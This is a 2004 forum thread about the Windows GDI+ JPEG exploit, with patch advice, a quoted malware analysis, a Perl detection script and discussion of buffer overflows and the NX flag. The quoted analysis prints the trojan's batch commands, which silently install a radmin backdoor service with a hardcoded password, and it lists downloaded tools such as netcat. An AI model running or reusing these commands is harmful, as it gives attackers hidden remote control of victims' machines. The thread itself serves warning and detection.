PSA: JPEG exploit released

M

M11

Does Not Follow Instructions.
Joined
Jun 8, 2004
Messages
2,336
As many of you are aware, an exploit involving Microsoft's GDI library (specifically JPEGs) was discovered recently. The exploit is classified by Microsoft and others as "Critical" and affects Windows XP/2003, as well as a variety of Microsoft applications, such as the Office series. (full list found here)

In addition, a toolkit for exploiting the vulnerability was discovered on the 24th to be in circulation around the internet. This toolkit enables a relatively novice attacker to exploit the vulnerability with a minimal amount of effort.

Earlier today, a virus was spotted on usenet that takes advantage of the widespread vulnerability to install a trojan on the target system, which only needs to view the malformed image to become infected. This easy method of infection, in what had been considered an innoculous file type (JPEG), hilights the need to keep Windows Updated, as well as use a virus scanner with current definitions. Windows Update contained the needed patch as of the 14th of September.

Please, update yourself and others.

Here is the important portion of the Virus Announcement, pasted as a quote block so I can edit out certain details.
jpeg virus in the wild?!

UPDATE: To check to see if you have been infected by this virus, look for a directory
named c:\windows\system32\system\ that has nvsvc.exe and winrun.exe in it.

UPDATE: We have packet logs at <removed> THIS VIRUS IS NASTY!

If you don't know what a jpeg virus is, check out:
http://news.google.com/news?q=jpeg+virus

Swany and I wrote a quick and nasty script to scan every jpeg that comes into Easynews.com.. It paged
my cell phone at 6:47pm PDT on 9/26/2004 for the first hit, and 7:52pm PDT on 9/26/2004 for
the second hit.

Once this JPEG overflowed GDI+, it phoned home, connected to and ftp site and downloaded
almost 2megs of stuff. It installs a trojan that installs itself as a service.

It also installs radmin (radmin.com) running as 'r_server'. From the radmin.com site, "With Radmin you
can work on a remote computer exactly as if you were right there at its keyboard."

It phones home to the same IP that is in the usenet post headers. Then it seems
to connect to ftp://***.***.***.***/www/system/ u/p ***/*** (last time I checked, 93 users where logged in!)

it downloads these files:

-rw-r--r-- 1 root root 90112 Sep 27 09:43 AdmDll.dll
-rw-r--r-- 1 root root 114688 Sep 27 09:43 Fport.exe
-rw-r--r-- 1 root root 663 Sep 27 09:43 ServUStartUpLog.txt
-rw-r--r-- 1 root root 32768 Sep 27 09:43 VNCHooks.dll
-rw-r--r-- 1 root root 1407 Sep 27 09:43 WinRun.dll
-rw-r--r-- 1 root root 811008 Sep 27 09:43 WinRun.exe
-rw-r--r-- 1 root root 1268 Sep 27 09:43 driver.log
-rw-r--r-- 1 root root 24576 Sep 27 09:43 drives.exe
-rw-r--r-- 1 root root 150 Sep 27 09:43 execute.bat
-rw-r--r-- 1 root root 0 Sep 27 09:43 filter3.ocx
-rw-r--r-- 1 root root 1052 Sep 27 09:43 irc-u.cfg
-rw-r--r-- 1 root root 0 Sep 27 09:43 irc-u.dat
-rw-r--r-- 1 root root 16802 Sep 27 09:43 irc-u.debug.log
-rw-r--r-- 1 root root 102400 Sep 27 09:43 irc-u.dll
-rw-r--r-- 1 root root 26624 Sep 27 09:43 kill.exe
-rw-r--r-- 1 root root 59392 Sep 27 09:43 nc.exe
-rw-r--r-- 1 root root 241664 Sep 27 09:43 nvsvc.exe
-rw-r--r-- 1 root root 36864 Sep 27 09:43 nvsvc32.dll
-rw-r--r-- 1 root root 45056 Sep 27 09:43 omnithread_rt.dll
-rw-r--r-- 1 root root 34304 Sep 27 09:43 peek.exe
-rw-r--r-- 1 root root 29408 Sep 27 09:43 raddrv.dll
-rw-r--r-- 1 root root 713 Sep 27 09:43 radmin.reg
-rw-r--r-- 1 root root 26112 Sep 27 09:43 rcrypt.exe
-rw-r--r-- 1 root root 40960 Sep 27 09:43 reg.exe
-rw-r--r-- 1 root root 6656 Sep 27 09:43 uptime.exe
-rw-r--r-- 1 root root 208896 Sep 27 09:43 vns.exe

and executes 'execute.bat', which looks like:

regedit.exe /s radmin.reg
nvsvc.exe /install /silence
nvsvc.exe /pass:hardcore /port:10002 /save /silence
nvsvc.exe /start /silence
net start r_server

it also installs an irc client with this config info:
<irc channel info> -removed
Click to expand...
 
great!!!! :mad: :mad:
that is just dumb - by MS and the writers!!!

good job I have weened mt lass onto linux and windows is just there for the odd game or two
 
well the good news if your running XP Sp2 your safe
if your not using IE your also safe

why do people use IE again? Oh yeah im at work and have no choice...:(
 
Steel Chicken said:
if your not using IE your also safe
Click to expand...
Thats not accurate. This is what makes this vulnerability greater than the other dozens we see every month. Not only is it an exploit in what is considered a safe filetype (JPEG), but it can affect people not using IE (full list here). All a user needs to do is open a malformed JPEG in a vulnerable application, and they are victim to this vulnerability, which in this case, will install a trojan horse.
 
M11 said:
Thats not accurate. This is what makes this vulnerability greater than the other dozens we see every month. Not only is it an exploit in what is considered a safe filetype (JPEG), but it can affect people not using IE (full list here). All a user needs to do is open a malformed JPEG in a vulnerable application, and they are victim to this vulnerability, which in this case, will install a trojan horse.
Click to expand...

my bad. I had no idea it was specific to the OS, I thought it was browser based. Damn, its not safe to use windows at all any more :(

instead of adding new features, M$ should rewrite XP from scratch, with security in mind from the get-go...

It would also be interesting to see how AMD's NX flag would help this, since this attack appears to be buffer overflow-based
 
Steel Chicken said:
my bad. I had no idea it was specific to the OS, I thought it was browser based. Damn, its not safe to use windows at all any more :(
Click to expand...
The patch was released to Windows Update on the 14th, so you are likely safe from this exploit, provided you receive critical updates automatically or visit Windows Update on a regular basis. However, there is reason to believe that Macromedia's Studio MX may still be vulnerable, as it shows a positive signature from ISC's scan tool. I was informed of this potential threat in this thread, and will be watching it as the day progresses.
Steel Chicken said:
instead of adding new features, M$ should rewrite XP from scratch, with security in mind from the get-go...
Click to expand...
Totally agree. Thats another topic for another thread, hopefully tonight.
Steel Chicken said:
It would also be interesting to see how AMD's NX flag would help this, since this attack appears to be buffer overflow-based
Click to expand...
Yes it does. The NX flag is one of the best features of AMD's x64 products


<---------- Opteron Owner :D
 
1st, to all the people we have been beating silly with nerf bats about SP2, I never said I told you so. So here it is; I told you so.

SP2 is NOT optional.

2nd, WTF .jpg!?!

2rd, does the NX flag prevent this on an unpatched XP machine? got a link?
 
I think this exploit is serious enough to warrant a one-week sticky.
 
Yeah, a week at least, since this does affect the OS, and not just the browser...
 
Updated Information Regarding the Exploit (ATTN admins):

I have obtained a copy of the infected JPEG and calculated its md5sum to be b7e7a5703a722558b6a170be5c43b90d

Here is a short Perl script to look for the exploit in target JPEG file. Note that the djpeg library is required to run this script.
Code: 
@stat = stat($file);
$size = $stat[7];
open HANDLE, $file;
sysread(HANDLE, $input, $size);
close HANDLE;
if ($input !~ /^\xff\xd8/) {
        print "not a jpeg\n";
        exit;
}
if ($input =~ /\xff\xfe\x00[\x00\x01]/s) {
        @debug = `djpeg -debug $file 2>&1 > /dev/null`;
        if (grep (/Comment, length \-*[01]:/i, @debug)) {
                print "jpeg has virus\n";
        }
}
 
Ahh, that was the flag in SP2, so no way to test it since SP2 prevents the exploit... I'm curious to see if it prevents an exploit on an unpatched machine, that can't happen here. We'll have to wait for the next exploit that SP2 doesn't stop to really test it's effectivness. The idea that the proc. itself prevents exploits just rules.

Hahaha, you can't h4x0r my hardware!!!

Well, we can wish right? ;)
 
Phoenix86 said:
Ahh, that was the flag in SP2, so no way to test it since SP2 prevents the exploit... I'm curious to see if it prevents an exploit on an unpatched machine, that can't happen here. We'll have to wait for the next exploit that SP2 doesn't stop to really test it's effectivness. The idea that the proc. itself prevents exploits just rules.

Hahaha, you can't h4x0r my hardware!!!

Well, we can wish right? ;)
Click to expand...

the NX flag is a great step...but I guess im wondering why an OS would ever allow code to execute from a memory space that was specifically allocated for storage, and not execution

based on what ive seen about this virus, it tries to download crap from the net to get the rest of its main code installed, so if you have a decent firewall....would it not stop that process from occuring?

also, the nvscv.exe process....do you have to have admin privledges installed for that to work? ive never tried running it logged in as a user w/o admin rights. the obvious reason for this question is that for many business use machines, most users dont have admin rights when logged in...
 
Steel Chicken said:
the NX flag is a great step...but I guess im wondering why an OS would ever allow code to execute from a memory space that was specifically allocated for storage, and not execution
Click to expand...
The reason this can happen is programs are loaded into memory as binary data. Certain blocks of memory can contain the code that the program uses to execute, other blocks store the data that the program creates. What may be a character in one memory block can be an instuction in another. The only determining factor is context. Buffer overflows work by filling a data block with a preprogrammed set of data, then causing EIP (next instruction) to jump from the current code block to a data block. The overflow occurs when EIP is overwritten and incorrectly jumps to a block of data, instead of the next instruction. The NX flag marks blocks of memory as not being valid targets of a jump operation, and thus stopping the overflow.
Steel Chicken said:
based on what ive seen about this virus, it tries to download crap from the net to get the rest of its main code installed, so if you have a decent firewall....would it not stop that process from occuring?
Click to expand...
Depends on configuration, athough if it uses built-in components (something that I'll test in VMware), then it would most likely be allowed. Regardless, its best not to rely on a firewall to stop an infection from progressing any farther-note that the downloading is just one way this overflow can be exploited. There is nothing keeping someone from hiding the entire virus in the JPEG.
Steel Chicken said:
also, the nvscv.exe process....do you have to have admin privledges installed for that to work? ive never tried running it logged in as a user w/o admin rights. the obvious reason for this question is that for many business use machines, most users dont have admin rights when logged in...
Click to expand...
I'll try it tonight in VMware, although I'm 99% sure it won't bypass the usual requirement of administrative privledges to install a system serivce ans start it with an administrative security token.
 
Question:

So if you have SP2, you don't need to update? I'm searching Windows Update now and I don't see the fix anywhere. Should I got get it manually. I've noticed that if you try to get get it manually, Microsoft runs a check on your CD key to make sure it's a legit copy of XP.
 
Never Mind, I answered my own question. Here is a list of all programs affected by this exploit that I found:

Straight from Microsoft said:
Windows XP
Windows XP Service Pack 1 (SP1)
Windows Server 2003
Internet Explorer 6 SP1
Office XP SP3
Note Office XP SP3 includes Word 2002, Excel 2002, Outlook 2002, PowerPoint 2002, FrontPage 2002, and Publisher 2002.
Office 2003
Note Office 2003 includes Word 2003, Excel 2003, Outlook 2003, PowerPoint 2003, FrontPage 2003, Publisher 2003, InfoPath 2003, and OneNote 2003.
Digital Image Pro 7.0
Digital Image Pro 9
Digital Image Suite 9
Greetings 2002
Picture It! 2002 (all versions)
Picture It! 7.0 (all versions)
Picture It! 9 (all versions, including Picture It! Library)
Producer for PowerPoint (all versions)
Project 2002 SP1 (all versions)
Project 2003 (all versions)
Visio 2002 SP2 (all versions)
Visio 2003 (all versions)
Visual Studio .NET 2002
Note Visual Studio .NET 2002 includes Visual Basic .NET Standard 2002, Visual C# .NET Standard 2002, and Visual C++ .NET Standard 2002.
Visual Studio .NET 2003
Note Visual Studio .NET 2003 includes Visual Basic .NET Standard 2003, Visual C# .NET Standard 2003, Visual C++ .NET Standard 2003, and Visual J# .NET Standard 2003.
.NET Framework 1.0 SP2
.NET Framework 1.0 SDK SP2
.NET Framework 1.1
Platform SDK Redistributable: GDI+
Click to expand...
 
M11 said:
The reason this can happen is programs are loaded into memory as binary data. Certain blocks of memory can contain the code that the program uses to execute, other blocks store the data that the program creates. What may be a character in one memory block can be an instuction in another. The only determining factor is context. Buffer overflows work by filling a data block with a preprogrammed set of data, then causing EIP (next instruction) to jump from the current code block to a data block. The overflow occurs when EIP is overwritten and incorrectly jumps to a block of data, instead of the next instruction. The NX flag marks blocks of memory as not being valid targets of a jump operation, and thus stopping the overflow.
.
Click to expand...
Yeah I understand this, but what I was trying to say was this, the OS should be able to do what the NX flag does. When it first loads the executable, a certain address range should be defined for the executable code. Any additional memory for the program used for data should be outside that range, and never be allowed to execute, over flow or not.

My understanding on buffer overflows is slightly different in some cases, I thought what would often happen is that to overcome the situation I just described, a hacker would dump more data into a data block then is supposed to fit. The extra data overwrites and exceeds its original "no execute" boundary space, and the excess data (which is really a trojan or some other bad thingy) can now be executed.

In other words, loading code into data space should never be execuatable, and buffer overflows only work because the code hidden in data is pushed into protected memory space.

I hope that made sense, online communication is often lacking...
 
And where is the O/S supposed to put this extra data, of which pages are executable and which aren't? That's why you need a processor to support it, so the O/S can mark these pages somewhere.
 
Ranma_Sao said:
And where is the O/S supposed to put this extra data, of which pages are executable and which aren't? That's why you need a processor to support it, so the O/S can mark these pages somewhere.
Click to expand...

Where does the OS put anything? It creates an internal table with a listing of memory pages/allocations, along with some sort of flag that says data or code. Whats the big deal?

You seem to be under the impression that this info is *stored* in the CPU, thats absurd.
 
Steel Chicken said:
Where does the OS put anything? It creates an internal table with a listing of memory pages/allocations, along with some sort of flag that says data or code. Whats the big deal?

You seem to be under the impression that this info is *stored* in the CPU, thats absurd.
Click to expand...
When a buffer overflows, the EIP register is overwritten with a different address that contains malicious code. Its a forced jump, and will execute just as a planned one. To implement what you're talking about would require one table lookup per CPU instruction, which would halve the speed of the machine.
 
Steel Chicken said:
Where does the OS put anything? It creates an internal table with a listing of memory pages/allocations, along with some sort of flag that says data or code. Whats the big deal?

You seem to be under the impression that this info is *stored* in the CPU, thats absurd.
Click to expand...
No, but the CPU does the translation... ;) The big deal is the bits, since you need that exec/nonexec bit to be stored somewhere, and have the CPU understand what that means. Windows requires the PAE kernels to be loaded for /NX protection, since it needs that extra bit to mark the memory address as being executable or not.

Oh, and I do understand how CPU's and Operating systems work, otherwise I think I'd be out of a job by now. ;)
 
OK maybe I should just be quiet now, because theres alot thats eluding me. But, I wont because even If I am stupid I am trying to understand this.

When a buffer overflows, the EIP register is overwritten with a different address that contains malicious code
Click to expand...

if a running program loads data into memory space, how does that effect a register on the CPU? I am familair with the EIP, and used to do assembly (back in the 6502 days!) I mean a buffer overflow *could* overwrite code space, and contain your trojan, but what tells the processor to now look at the new location?

janky example:

address:
00000000h-0000FFFEh
<your code goes here>

0000FFFFh-00010000h
<your data space/buffer space> goes here

so your EIP is pointing somewhere in reserved code space >00000000 but <0000FFFE
and assuming you can overflow that data space (>0000FFFF), whats the methodolgy for the EIP getting whacked?
 
So is there any word yet on a fix for other potentially vulnerable apps? I've done the windows update bit, but the scan mentioned above points out potentially vulnerable files remaining (mostly in stuff related to my HP scanner). I'm not understanding what the vulnerability there is once the MS patch is in place.
 
It changes the thread color. Unless your like me and ignore almost all stickies because I'm used to them there, and my brain edits them out. Its "Somebody elses problem", if you will ;)
 
Direwolf20 said:
It changes the thread color. Unless your like me and ignore almost all stickies because I'm used to them there, and my brain edits them out. Its "Somebody elses problem", if you will ;)
Click to expand...

i use the subscribed threads view alot, which doesn't differentiate
its too bad really, the thread was starting to get interesting
 
And the best thing abt this is out local IT has decided (via MS Exchange) to delete all incomming and outgoing attachements that are *.JPG or *.ZIP.

Since I have to send out (and recieve) alot of Gerber files that are Zipped to 1) group together abt 30files and 2) bring down the size to abt 10meg you can see how this is extreamly annoying.

Esp when you end up having to send the email as a *.zip.tmp so MS Exchange doesnt remove and also ask someone that just soent you a zip to rename it!!!
 
Steel Chicken, go check out Writing Secure Code from the Library, and read Chapter 3. ;) It will tell you more about buffer overruns then you ever wanted.
 
lomn75 said:
So is there any word yet on a fix for other potentially vulnerable apps? I've done the windows update bit, but the scan mentioned above points out potentially vulnerable files remaining (mostly in stuff related to my HP scanner). I'm not understanding what the vulnerability there is once the MS patch is in place.
Click to expand...
At this point, no. The Macromedia threat is real, and I cannot find a fix or a homebrew workaround for it. I guess the idea is to make sure JPEGs are coming from a reliable source, and use the scanning code if unsure of a JPEG's integrity.
 
Protecting against this virus is useless people. As was mentioned the actual exploit tool thats been released is so damn easy to use theres going to get a good number of them out.

I run SP2 so I through an SP1 install on a VMachine to test. 3 switches with the exploit and I had a working JPG to download my Rootkit from a URL I decided. Easiest malicious attack I've seen.

If they get any easier were gonna be able to click "Hack The Fucker" on our MSN contact list pretty soon.
 
SKiTLz said:
Protecting against this virus is useless people. As was mentioned the actual exploit tool thats been released is so damn easy to use theres going to get a good number of them out.
Click to expand...
.....

Just install the patch and no longer make assumptions about the benignness of unknown JPEGs. No need to worry or panic. Once again, this exploit is killing the non-updated.
 
M11 said:
.....

Just install the patch and no longer make assumptions about the benignness of unknown JPEGs. No need to worry or panic. Once again, this exploit is killing the non-updated.
Click to expand...

For for folks still no SP1 even with the patches there are still a few programs which are vulnerable aren't there? Thats my understanding anyways.

This one outta hit those OE preview pane users hard.
 
M11 said:
Thats not accurate. This is what makes this vulnerability greater than the other dozens we see every month. Not only is it an exploit in what is considered a safe filetype (JPEG), but it can affect people not using IE (full list here). All a user needs to do is open a malformed JPEG in a vulnerable application, and they are victim to this vulnerability, which in this case, will install a trojan horse.
Click to expand...
Horaay! I'm not using any of that stuff.
 
mosin said:
Horaay! I'm not using any of that stuff.
Click to expand...
Note that that's the MS-only list, and doesn't include Macromedia, for instance. You should get the scanner linked above and check manually.
 
You must log in or register to reply here.
Back
Top